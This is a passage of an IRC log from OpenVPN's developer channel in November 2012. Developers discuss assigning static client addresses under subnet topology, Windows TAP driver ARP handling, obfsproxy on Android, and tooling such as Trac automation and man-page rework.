#openvpn-devel 16:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Tue Nov 13 2012 02:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:35 -!- dazo_afk is now known as dazo 04:12 -!- Netsplit *.net <-> *.split quits: +krzee, ender`, plaisthos, @andj, @cron2, @raidz_afk, reiffert, keitsi, @vpnHelper, @dazo 04:16 -!- Netsplit over, joins: +krzee, @dazo, @vpnHelper, plaisthos, ender`, @andj, @raidz_afk, @cron2, reiffert, keitsi 04:20 -!- Netsplit *.net <-> *.split quits: +krzee 04:21 -!- Netsplit over, joins: +krzee 04:23 -!- Netsplit *.net <-> *.split quits: @vpnHelper, ender` 04:24 -!- Netsplit over, joins: @vpnHelper, ender` 04:26 -!- Netsplit *.net <-> *.split quits: +krzee 04:27 -!- Netsplit over, joins: +krzee 04:38 <@d12fk> as if ppl here have lives... 04:43 <@cron2> li-what? 04:43 <@cron2> and good morning to you, too :-) 08:03 <@d12fk> --ifconfig-push is incompatible with --topology subnet, ain't it? 08:03 <@cron2> not as far as I'm aware 08:03 <@cron2> as in: I'm happily using both together :-) 08:04 <@d12fk> then i'm doing it wrong 08:04 <+krzee> !static 08:04 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder 08:04 <@cron2> server 172.30.1.224 255.255.255.224 08:04 <@cron2> topology subnet 08:04 <@cron2> cat ccd/client-ug 08:04 <@cron2> ifconfig-push 172.30.1.146 255.255.255.0 08:04 <@cron2> (ok, that may be a somewhat bizarre example, but still it works) 08:05 <@cron2> d12fk: but krzee might have hit the issue: with topology subnet, you need to pass a netmask 08:05 <@d12fk> so the static ip pushed must be in the same net... 08:05 <@cron2> no 08:05 <@cron2> (not with tun) 08:06 <@cron2> it will warn you if you push addresses outside the --server network, but it will still work 08:06 <@d12fk> well if the pool is 192.168.x.x and the user chose a 10.x.x.x static addr what to do? 08:06 <+krzee> user chose? 08:06 <@cron2> "route 10.x.x.x" to make 10.x end up at the server tun, and that's it 08:06 <@d12fk> webadmin is the keyword 08:06 <+krzee> why you letting them choose their ip? 08:07 <@d12fk> i could push a /32 mask 08:07 <@cron2> (but for a web interface, I'd restrict it to "must be from the server subnet", otherwise you'll end up with bizarre misconfigs that people will not make work) 08:07 <@cron2> d12fk: /32 will fail 08:07 <@cron2> it must be subnettable 08:07 <@d12fk> dang 08:07 <@d12fk> wont ovpn assign the same Ip to two clients then 08:08 <@cron2> only permit statics from pre-defined networks (route ... 255.x.x.x or server ... 255.x.x.x) in the web client, and pass the same netmask... 08:08 <@d12fk> ^ if the static IP is from within the pool range 08:08 <@d12fk> hm 08:09 <+krzee> you can give statics from a different subnet than --server but you must deal with the routing 08:09 <@cron2> d12fk: good question, I'm not sure. It might work if the static address is used first, but if it's assigned from the pool first and from ccd second, it will clash 08:10 <+krzee> in !policy they use a different subnet for static than for --server 08:10 <+krzee> !policy 08:10 <@vpnHelper> "policy" is (#1) http://openvpn.net/howto.html#policy for Configuring client-specific rules and access policies or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules for a lil writeup by mario 08:10 <@d12fk> and why will /32 fail? is there a technical background 08:10 <@cron2> it is not a sub*net* 08:10 <+krzee> cause it needs to have the server ip in its subnet 08:10 <@cron2> for topology subnet, the ifconfig commands called expect something subnetish 08:11 <@cron2> krzee: the route-gateway, yes. the server-ip, no 08:11 <@d12fk> can't i just push a route to the server IP as well 08:11 <+krzee> right, better said ^ 08:11 <@cron2> d12fk: you can 08:11 <@cron2> (that's actually coming back to the "can't we have routes to the interface?" question - no, we can't, and that's why you need a non-/32-subnet) 08:13 * d12fk doesnt get it 08:13 <@cron2> d12fk: which part? 08:14 <@d12fk> a little background: trying to move from default --topo to --topo subnet to get rid of the silly /30 allocation 08:15 <@cron2> reasonable 08:15 * krzee adds routed to the interface using an --up script 08:15 <+krzee> routes* 08:15 <@d12fk> however, if a system is client and server at the same time and the remote server uses the same pool as the local system (i.e. the default ovpn pool) i end up with the same route twice 08:15 <@cron2> krzee: we know, but that's largely irrelevant as it can not be done on all client operating systems 08:16 <+krzee> theres a bit of linux only and windows only support 08:16 <@cron2> d12fk: that would be a misconfiguration, then. 08:16 <@cron2> krzee: there is no way to do interface(-only) routes on Windows tun 08:16 <@d12fk> currently it isn't and i dont want to introduce breakage 08:17 <+krzee> theres no way to do --port-share on a windows tun 08:17 <+krzee> or --shaper iirc 08:17 <@cron2> d12fk: it is a misconfiguration today, as the "server" side of things could end up routing a /30 to one of its clients which is used for the "client" connection at the same time, and then you already have breakage 08:17 <@d12fk> true 08:19 <+krzee> oh no i must have meant txqueuelen 08:21 <+krzee> no --user / --group for windows tun 08:21 <@cron2> krzee: we are aware that there are platform differences, thanks 08:22 <+krzee> so why: 08:22 <+krzee> <cron2> krzee: we know, but that's largely irrelevant as it can not be done on all client operating systems 08:22 <@cron2> because fundamental things like "IP addressing" must work across all platforms 08:23 <@cron2> so if one of the platforms, especially a typical client platform, needs a subnet to operate, we must use subnets, and not /32 addresses 08:23 <+krzee> oh i see, you meant as part of the default setup 08:23 <+krzee> i just meant as an option when adding a route 08:23 <+krzee> i misunderstood, sorry :) 09:00 <@d12fk> manually crafted this working ccd file: 09:00 <@d12fk> push-reset 09:00 <@d12fk> ifconfig-push 172.16.172.16 255.255.255.255 09:00 <@d12fk> push 'topology subnet' 09:00 <@d12fk> push 'route-gateway 172.16.172.16' 09:00 <@d12fk> [...] 09:01 <@cron2> does it work on windows? 09:01 <@d12fk> this way even in --topo subnet the client can have a /32 assigned 09:01 <@cron2> it's an evil hack 09:01 <@d12fk> don't care about windows in this particular case as it's for site-to-site only 09:02 <@cron2> yeah, linux-to-linux, it should work 09:02 <@d12fk> however, for ras user's static IPs there needs to be a solution as well 09:03 <@d12fk> back to frickel-mode 09:04 <@cron2> define a "pool for static", use that with "--route" to get it into the server's tun, ifconfig-push that netmask... 09:05 <@cron2> (and use an arbitrary address out of that pool which is not what the client is sent as "route-gateway" :) ) 09:06 <@d12fk> dosn't work that way, user's get assigned a ras IP that they use for all kinds of RAS 09:06 <@d12fk> so there's a mapping user <-> IP 09:06 <@d12fk> hence the struggle for /32 09:06 <@cron2> now that's more interesting... on the server side, "learn-address" will be your friend, but the netmask is interesting indeed... 09:07 <@d12fk> trying out windows now 09:07 <@cron2> depends a bit on the remaining context - if you push a default route anyway, just use /24... 09:30 <@d12fk> hm on windows it fails 09:30 <@d12fk> wonder why 09:32 <@cron2> because a windows tun interface is not a "tun" but a "virtual ethernet", which is multiaccess by definition, not point-to-point - so you need a next-hop that you can do ARP for, and then send traffic to that MAC address 09:32 <@cron2> a real tun is "stuff it in at one end, don't care where it goes" :-) 09:32 <@cron2> no ARP 09:33 <@cron2> .oO(you could use IPv6... assigning a /128 and using the link-local next-hop fe80::8 will work perfectly fine) 09:37 <@d12fk> and in case of --topo subnet that nexthop is the first address in to pool? 09:39 <@cron2> there is more hackery involved. If I remember correctly, openvpn ioctl()s the gateway address into the tap driver, and when windows does an ARP for the gateway address (=nexthop), the tap driver will fake an ARP reply 09:40 <@cron2> so on theory, the next-hop address could be any address out of that subnet, but the tap driver needs to know 09:40 <@d12fk> yeah 09:44 <@d12fk> isn't route-gateway considered for this ARP fakery? 09:44 <@d12fk> because: 09:44 <@cron2> I'm not sure, I'm just trying to find the source bits that do this 09:45 <@cron2> nah 09:45 <@cron2> tun.c, line 4750 09:45 <@cron2> ep[2] = htonl (tt->remote_netmask); 09:46 <@cron2> that's passed to 09:46 <@cron2> status = DeviceIoControl (tt->hand, TAP_WIN_IOCTL_CONFIG_TUN, 09:46 <@cron2> for "topo subnet", and I'm pretty sure that this address is what ends in the "arp for this is answered" list 09:46 <@d12fk> so, any arp to within the net is answered 09:47 <@cron2> no, only for the gateway 09:47 <@cron2> // Generate an ARP reply message for specific kinds 09:48 <@cron2> // ARP queries. 09:48 <@d12fk> windows gets pushed: route-gateway 10.242.2.1 09:48 <@cron2> && (src->m_ARP_IP_Destination & ip_netmask) == ip_network 09:48 <@cron2> && src->m_ARP_IP_Destination != adapter_ip) 09:48 <@cron2> so "any gateway in that subnet which is not the adapter itself" should work 09:48 <@cron2> now why does it install the server address via ioctl()...??? 09:49 <@d12fk> it could also consider the route-gateway, that way it would work 09:49 <@d12fk> not that it would be clever to implement for my corner case =) 09:49 <@cron2> if the route-gateway is inside the network, it should work 09:50 <@d12fk> isn't 09:50 <@d12fk> network is 172.17.17.17./32 =) 09:50 <@cron2> "just make it so" :) 09:50 <@cron2> the /32 will just not work at ifconfig time already (or worse, at virtual-dhcp time) 09:51 <@d12fk> well the adapter is up.. it seems 09:51 <@d12fk> at least the routing table shows routes for it 09:52 <@d12fk> problem is the route to the remote network really 09:52 <@d12fk> because arp isnot catched: 09:52 <@cron2> reading tapdrvr.c requires more brains than I have right now... 09:52 <@d12fk> Tue Nov 13 16:26:36 2012 C:\WINDOWS\system32\route.exe ADD 192.168.195.0 MASK 255.255.255.0 10.242.2.1 09:52 <@d12fk> Tue Nov 13 16:26:36 2012 Warning: route gateway is not reachable on any active network adapters: 10.242.2.1 09:52 <@d12fk> Tue Nov 13 16:26:36 2012 Route addition via service failed 09:53 <@cron2> maybe it could be made to work by adding the interface... 09:53 <@d12fk> the route for 10.242.2.1 is installed, but the ARP req is not intercepted 09:53 <@cron2> nah, wouldn't... 09:54 <@cron2> the code I copy-pasted above comes from the tapdrvr.c, and it will only answer for "if in local network" 09:54 <@d12fk> yes 09:54 <@d12fk> hence the brave recommendation to also intercept --route-gateway ARP 09:56 <@cron2> aka "extend the ioctl() and compile a new tap driver" 09:56 <@d12fk> guess that's the only way to assign random static IPs to win clients in subnet mode 09:56 * cron2 understands the code in tun.c now, after reading the tapdrvr counterpart - it actually passes IP address, network address (= IP & netmask) and netmask 09:56 <@cron2> which is a bit stupid, as the driver could calculate the network address itself, and actually has a sanity check that "if (network != (ip&netmask)) then fail"... 09:57 <@cron2> but that's what it does - it does *not* pass the gateway or server address today 09:57 <@d12fk> this could be a patch i send 09:58 <@d12fk> lets sleep over it and revisit the discussion soon 09:58 <@d12fk> maybe tomorrow? 09:58 <@d12fk> sadly got to run to a meeting 09:58 <@cron2> one could question whether to have this check at all, or just answer all ARPs to that intrface 09:58 <@cron2> (but then you need to install a route for the gateway pointing to the interface itself, to make it ARP) 09:59 <@cron2> I'm here tomorrow 09:59 <@d12fk> fine, afk then, thanks 11:05 <@vpnHelper> RSS Update - tickets: #239: --show-pkcs11-ids does not work <https://community.openvpn.net/openvpn/ticket/239> 11:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:56 -!- dazo is now known as dazo_afk 14:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 15:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Wed Nov 14 2012 00:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:26 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:26 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:40 <@cron2> d12fk: you could try inserting a static ARP ("netsh interface ipv4 set neigh...") 02:55 <@andj> Just a quick heads-up 02:56 <@andj> A colleague of mine found a small bug in the PKCS#11 show-ids code 02:56 <@andj> A patch will follow in the mail shortly 03:01 <@andj> lol @$239 03:01 <@andj> that was the bug my colleague found :) 03:33 <@d12fk> cron2: will do 03:34 <@d12fk> however, ithink we should kind of officially support a /32 netmask in --ifconfig and --topo subnet and handle it correctly in ovpn as well 03:34 <@d12fk> the push-reset way is too hacky for such a feature imo 03:35 <@d12fk> the idea of yours about replying to any ARP req appeals to me somehow 03:36 <@d12fk> however misconfigurations don't break gracefully in that case, so maybe it's something we don't want 03:39 <@cron2> well, supporting /32 would actually be a new topology, like "topology single-host" or such, and *will* need thorough testing on all platforms 03:40 <@cron2> it is *not* a "subnet" 03:41 <@cron2> all the (non-linux) unixes should be able to handle single-address assignment just fine (which is what "net30" does there, anyway), but it needs to be done differently than "just ifconfig with 255.255.255.255 mask" 03:41 <@d12fk> what i mean by handle is: use --route-gateway in case of netmask /32 03:42 <@cron2> it's more complex than just this, the ifconfig, arp, route handling needs to be changed for half the platforms 03:43 <@cron2> but yeah, adding "--topology p2p" or such, and making "net30" a special-case of this, might be something for 2.4ish 03:43 <@cron2> so who's taking care of my kids for a week or so, to let me hack on it? ;-) 03:44 <@d12fk> KIKA is your friend =) 03:44 <@cron2> not for 2.5yo and 5month old 03:45 <@d12fk> they'll adapt =) 03:46 <@d12fk> back to the topic, so, it's just linux gracefully sending through the stuff, but other platforms tuns behave differently? 03:53 <@d12fk> also, i think t should be possible to assign a single static address to a client even in subnet mode 04:04 <@cron2> d12fk: a single address is not a "subnet" - the fact that it happens to work on Linux is nice, but nothing else 04:05 <@cron2> if you look at the code in tun.c, the way ifconfig is done for "net30" and "subnet" is different for a reason 04:06 <@d12fk> ok i gues it's p2p for windows that i need then 04:06 <@cron2> the fact that setting a route to your own IP is sending the packets to the tun is also more "by chance" than anything else... 04:07 <@cron2> I'm a bit surprised that a 255.255.255.255 netmask on windows works (after all, the DHCP server should be in the same *subnet* as the client, no?) - but if it does, even better :-) 04:08 -!- dazo_afk is now known as dazo 04:08 <@cron2> (tell me again why you move from "topo net30" to "topo subnet" if you don't *want* subnets?) 04:09 <@d12fk> we want to get rid of the /32 netmask on the server tun so ospf can distribute the route 04:10 <@d12fk> but we also want static IPs for clients without the hassle to come up with a network for that to work 04:12 <@cron2> I think "changing the inner workings on OpenVPN on all supported platforms" sounds like a huge amount of hassle to me... 04:22 <@d12fk> yes for the coder, the other hassle is for the user 04:23 <@cron2> I don't think that "static IP addresses must come from a pre-defined network of /30 or bigger" is *such* a huge hassle 04:24 <@cron2> (no more than "if you want to operate a firewall, you need to have 230V power") 04:24 <@cron2> users can accept technical requirements 04:29 <@d12fk> the requirement for users to have a static virtual network instead of just a single IP is special to ovpn in subnet mode, that's what could be fixed 04:30 <@d12fk> --topo subnet just says route subnets, that doesn't have to change necessarily 04:33 <@cron2> the requirement comes from the fact that we have virtual ethernet interfaces on windows - fix that, having a real point-to-point virtual (as a pptp VPN would use) and all of a sudden, no more subnet hacks needed 04:33 <@cron2> or just use IPv6... 04:34 <@d12fk> it's not me it's our customers, many of them, and then all of a sudden imperative doesnt work anymore sadly =) 04:35 <@d12fk> but indeed p2p on windows would fix it, plus a private hack to set the netmask on the server 04:35 <@cron2> OSPF should be able to handle point-to-point interfaces just fine... 04:37 <@d12fk> yeah, but the tun interface is really for the client pool subnet 04:38 <@cron2> yeah - so what hack do you need on the server, then? 04:38 * cron2 doesn't understand 04:39 <@cron2> my "topology subnet" tun has a /27 netmask... 04:39 <@d12fk> that's why i want subnet, not net30 04:40 <@d12fk> but also need windows and fixed clinet /32 IPs 04:40 <@d12fk> dig my pain? 04:41 <@cron2> ah, you want both at the same time... 04:41 <@d12fk> i want it ALL! =) 04:41 <@d12fk> NAO! 04:42 <@cron2> actually, in *client* mode, the client really doesn't care what sort of topology it is, as long as a) the IP address is right, and b) the combination of netmask and routes will ensure "what should go over does go over"... 04:42 <@d12fk> yes, but then I'd always need to --ifconfig-push even if clients don't have a static IP 04:42 <@cron2> no 04:43 <@cron2> I should have written "there is no reason why the client *should* care" 04:43 <@d12fk> maybe s.th. like --ifconfig-push pool_addr pool_mask could be supported, but wouldn't make sense to most users 04:43 <@cron2> today, it does care, and jumping through hoops is required 04:44 <@d12fk> since there are tons of old clients out there, breakage 04:44 <@d12fk> nothing is easy, fetching more coffee 04:45 <@cron2> if you need to handle old clients on windows, you'll need a subnet for your static IPs - "true /32 on windows" won't work without client change 04:55 <@d12fk> true, virtual IPs do work with net30 04:55 <@d12fk> or don't they... 04:56 * d12fk feels doomed 05:09 <@cron2> well, net30 expects a... uh... /30 on the client side... 05:16 <@cron2> d12fk: if you push a default route to the client, you can just invent a netmask and gateway address - it won't matter, as it's part of the default route anyway 05:18 <@d12fk> that's not an option as most configurations use split routing 11:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:48 -!- dazo is now known as dazo_afk 21:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Thu Nov 15 2012 00:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 01:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:13 <@mattock_> dazo: sfnet git repo is lacking beta/2.3 branch... GitHub repo has it 02:13 <@mattock_> I'm wondering which codebase I should point Coverity dat 02:13 <@mattock_> at 03:30 < plaisthos> best comment on my app ever: 03:31 < plaisthos> "Sucks Needs basic pptp and L2TP options.." 04:13 <@mattock_> hahaha 04:13 <@mattock_> excellent comment :) 04:28 <@cron2> plaisthos: lol 04:45 -!- dazo_afk is now known as dazo 06:32 <@dazo> mattock_: openvpn-testing.git got beta/2.3 06:32 <@dazo> you remember it was decided a long time ago that openvpn.git should only have stable releases ;-) 06:33 <@dazo> plaisthos: I both find it good and annoying that users cannot comment other users comments ;-) 06:34 <@dazo> but a "Hilarious" button (kind-of like these 'Like!" buttons) would be a good feature for such comments :-P 06:38 < plaisthos> dazo: :) 06:39 <@dazo> plaisthos: a guy was asking about your source code to the Android client on #openvpn now .... CodeRat 06:39 < plaisthos> dazo: If you *somehow* get the Android top developer status you can comment on user comments 06:39 < plaisthos> dazo: will look into it 06:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 07:09 <@andj> plaisthos: lol @that comment 07:19 <@mattock_> dazo: "a long time ago" -> mattock don't remember :) 07:23 <@dazo> :) 07:23 <@dazo> but we can sure change that policy again, if that's requested :) 08:05 <@andj> dazo: Paul replied about PolarSSL criticisms on the forums: https://forums.openvpn.net/topic10180.html 08:05 <@vpnHelper> Title: OpenVPN Support Forum Involvement of FOX-IT in OpenVPN : Off Topic, Related (at forums.openvpn.net) 08:08 <@dazo> andj: oh, I didn't pay attention to that one ... but Paul gave good responses 08:08 <@dazo> thx for the heads-up 08:12 <@cron2> oh my... (and good response indeed) 08:23 <@andj> usually "don't feed the trolls" is a better approach, but I can see why he wants the last word there :) 08:25 <@dazo> absolutely 08:25 * dazo sent a confirmation that we will not tear out OpenSSL support ... hopefully that adds water and not fuel to the discussion :) 09:00 <@ecrist> that's an old thread 09:14 * plaisthos prepares for more obscure questions from Chinese users: 09:14 < plaisthos> http://code.google.com/p/ics-openvpn/issues/detail?id=105 09:14 <@vpnHelper> Title: Issue 105 - ics-openvpn - Feature request: OpenVPN over ssh tunnel - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 09:24 <@mattock_> asked coverity to update the codebase to beta/2.3 09:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:32 * ecrist makes topic sticky 09:33 <@dazo> plaisthos: may I rather suggest using obsproxy ... from the TOR project? 09:34 * ecrist replies to ics question 09:39 <@dazo> (it's an obfuscating proxy ... which basically tries to make the traffic look more innocent and harder to block) 09:39 <@dazo> (but that requires a obfsproxy server too, of course) 09:48 <@cron2> mattock: has coverity ever sent feedback? 10:00 < plaisthos> dazo: yeah, I think I need to have code some evil "use this fd to connect to the server" API for Android 10:01 <@dazo> plaisthos: with obsproxy ... you start that process first, and then just add --socks-proxy in the openvpn config ... but that's only doable with TCP connections, that's the downside 10:01 < plaisthos> dazo: yes and then openvpn comes pushes a default route to the system and obsproxy stops working (on android) 10:02 <@dazo> plaisthos: ugh, true! hmmm ... but what about to make openvpn obfsproxy aware? 10:02 <@dazo> or "proxy aware" in general 10:03 < plaisthos> it boils down to either let openvpn call protect() on the socket of the other app or the app doing the bind to network interface magic (do not know if that is allow for non root processes) 10:04 <@dazo> ahh, okay ... some Androidish vodoo stuff ... 10:04 < plaisthos> yeah 10:04 < plaisthos> with throwing around file descriptors between processes 10:05 <@dazo> hmm .... *grmbl* 10:06 < plaisthos> (which OpenVPN for Android already does. :)) 10:07 <@dazo> yeah 10:08 <@dazo> I just thought it would be to fire up the proxy first (which acts like a normal TCP client app) and then when openvpn is told to use --socks-proxy localhost .... the --remote part would be handled by the proxy itself 12:58 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 13:18 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 15:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 16:37 -!- dazo is now known as dazo_afk --- Day changed Fri Nov 16 2012 05:02 -!- dazo_afk is now known as dazo 05:37 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:37 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 05:48 <@dazo> andj: you around? Looking at your patch ... 05:52 <@dazo> I don't understand how commit 75b49e406430299b187964744f82e50a9035a0d3 broke the fix in the patch ... that doesn't really make sense to me 05:53 <@dazo> broke what is being fixed in the patch, I meant of course :) 06:06 <@mattock_> I've been playing with Trac XML-RPC support... if you can think of fancy ways we could use it let me know: http://www.hossainkhan.info/content/trac-xml-rpc-api-reference 06:06 <@vpnHelper> Title: Trac XML-RPC API Reference | www.hossainkhan.info (at www.hossainkhan.info) 06:07 <@mattock_> it might be useful in automatically creating wiki pages based on some external content 06:09 <@dazo> mattock_: what about a little hook I could add in my git tree ... the commit message contains: "Trac: nnn" ... it would add a comment with the commit message and mark the trac ticket as "fixed" 06:10 <@mattock_> that should be doable 06:10 <@mattock_> I'll have to do this when I update Trac, though 06:10 <@dazo> no worries ... no stress at all from my side :) 06:11 <@mattock_> also, there's some nastiness with XML-RPC and Apache2 basic auth... i.e. xml-rpc thinks all requests are from "anonymous" user 06:12 <@mattock_> if I don't get a new VM for community.openvpn.net soonish, I'll have to do an in-place upgrade, which will mean some downtime 06:12 <@dazo> yeah 06:12 <@dazo> I think we can survive a little bit downtime (a day or so) 06:13 <@mattock_> yeah 06:14 <@dazo> another idea: Man page! Man pages are updated in the wiki ... and we have a little "fetch-man-page", which then traverses the man-page updates since last time ... updates the openvpn.8 file (through some wiki-to-man filters) and commits them 06:14 <@dazo> to git 06:15 <@dazo> we should probably have the other way around as well .... might be trickier though :/ 06:16 <@cron2> manpage needs major surgery 06:16 <@dazo> agreed 06:16 <@cron2> like "reference" and "common usage as client", "common usage as server", ... 06:16 <@dazo> yupp 06:16 <@cron2> can we find someone who actually understands all (documented) options? 06:17 <@cron2> ... now where is janjust hiding...? 06:17 <@dazo> I just just about to suggest jjk :) 06:19 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 06:51 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 06:53 <@mattock_> dazo: added your ideas to my TODO 06:53 <@mattock_> they'll keep me busy for a while :) 06:53 <@dazo> mattock_: just got yet another idea too! 06:54 <@dazo> mattock_: patches sent to the mailing list (say via git send-email) automatically creates a trac ticket ... and replies to the mail thread with the ticket number 06:55 <@dazo> (with git send-email, it's easy to catch if it is a patch or not, based on mail headers) 07:04 <@mattock_> the wiki->man-page is an interesting challenge 07:04 <@mattock_> there are man->html converters, but a quick look didn't reveal any html->man converters 07:09 * cron2 will scream if anyone proposes .info "that's not the way to go" 07:18 <@dazo> hahahaha 07:19 <@dazo> I don't remember who told me that we should have an info page instead of this massive man page :-P 07:35 < plaisthos> is there any project (beside some strange gnu software and emacs) that really uses info? 07:36 <@mattock_> for user perspective info is fine, if one uses a reasonable info viewer (e.g. pinfo)... the "info" program is pretty crappy 07:37 <@mattock_> I've only rarely stumbled into info documents 07:42 <@dazo> plaisthos: grub? 07:42 <@dazo> that's the only time I use info ... to get some odd tweaks for that bootloader 09:09 <@mattock_> dazo: is it intentional that version.m4 in GitHub "master" says "define([PRODUCT_VERSION], [2.3_beta1])"? 09:10 <@dazo> mattock_: no, that's a mistake ... I've forgotten to reset it to _master 09:11 <@mattock_> I think it creates an issue with cross-compiling snapshots 09:11 <@dazo> Just a sec and I'll push out a change 09:11 <@mattock_> no, actually not 09:11 <@mattock_> openvpn-build/windows-nsis is doing something silly 09:13 <@dazo> ahh :) 09:13 <@dazo> pushing out an updated version.m4 now 09:15 <@vpnHelper> RSS Update - testtrac: Reset the version.m4 version for the master branch <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=f42dd5f85a38a13bcc6e4222f8ec9ec6651921fd> 09:42 <@mattock_> I'm adding a single cross-compile builder to buildbot atm 09:43 <@dazo> nice 09:58 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 10:11 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 10:29 <@cron2> *sigh* stupid builder 10:29 <@cron2> doesn't load if_tap on boot, and has rebooted $recently 12:27 -!- dazo is now known as dazo_afk 13:24 <@andj> dazo: not entirely sure, was passing it on for a colleague :) 13:24 <@andj> might be the wrong patch 13:24 <@andj> (that he referred to) 13:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:33 <+krzee> plaisthos, see fries in #openvpn 14:33 <+krzee> he coded the old openvpn for android stuff 16:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] --- Day changed Sat Nov 17 2012 01:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 05:48 < plaisthos> hm missed him 06:46 < plaisthos> If he is there again and I am not tell him that I am better reachable via email 10:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:20 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 12:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 12:21 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 12:22 -!- dazo_afk is now known as dazo 13:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:45 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 18:52 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 21:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Sun Nov 18 2012 05:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:08 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 20:51 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 22:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Nov 19 2012 04:43 <@cron2> plaisthos: a colleague just approached me and very excitedly told me about OpenVPN for Android... :-) 04:44 <+krzee> :D 04:57 < reiffert> :) 05:56 < plaisthos> cron2: :) 06:27 * plaisthos thought about openvpn over (ssh|opfuscation proxy|other external program) on Android. I think need OpenVPN to able to connect a unix socket file descriptor passed over by unix socket ... 07:13 <@dazo> plaisthos: I don't understand Android that well, obviously enough ... but why can't OpenVPN use: --socks-proxy localhost 1080 ? 07:13 <@dazo> (provided the proxy have been started already, on port 1080) 07:14 <@dazo> that is really the only openvpn config change I did when enabling obfsproxy 08:54 < plaisthos> dazo: the default route over tun redirects also traffic going to localhost 08:55 <@dazo> plaisthos: huh!?!? Really!? ... how is that possible ... localhost is, ehh, local .... 08:55 < plaisthos> don't ask me 08:55 < plaisthos> google does magic :) 08:55 <@dazo> stupid black magic, if you ask me! ;-) 08:56 < plaisthos> I can understand it 08:56 <@dazo> plaisthos: what happens if you add an explicit route ... 127.0.0.0/8 via lo 08:56 < plaisthos> the localhost is colleteral damage 08:56 < plaisthos> if you are connected to a hotspot net like 192.168.0.0/24 